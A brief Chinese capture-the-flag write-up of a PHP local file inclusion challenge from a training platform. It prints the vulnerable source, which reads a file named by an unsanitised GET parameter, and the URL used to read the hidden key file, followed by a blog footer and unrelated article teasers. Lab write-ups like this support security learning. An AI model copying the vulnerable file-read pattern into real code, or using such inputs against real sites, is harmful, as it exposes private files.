墨者学院 - PHP本地包含漏洞代码溯源

根据本题解题方向,查看源码得知

< ?php

$p=($_get["p"].".txt");

$pics=file($p);

for($i=0;$i< count($pics);$i++)

{

echo $pics[$i];

}

?>

说明密码存在the_key_is_here,输入http://xxx/r.php?p=/the_key_is_here,即可获取key


最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • rljs by sennchi Timeline of History Part One The Cognitiv...
    sennchi阅读 12,151评论 0 10
  • 1998年,开学季,在北方已经是夏末秋初了。 不记得我和我爸妈是如何完成对话的,只记得在正常的开学日已过去一周后,...
    普通人不会说普通话阅读 1,540评论 0 0
  • 我们这个家,很朴素;我们三个人,很单纯。 初次阅读杨绛先生的作品《我们仨》,给我印象最深刻的便是这句:“我们这个家...
    Tom_说阅读 3,818评论 10 4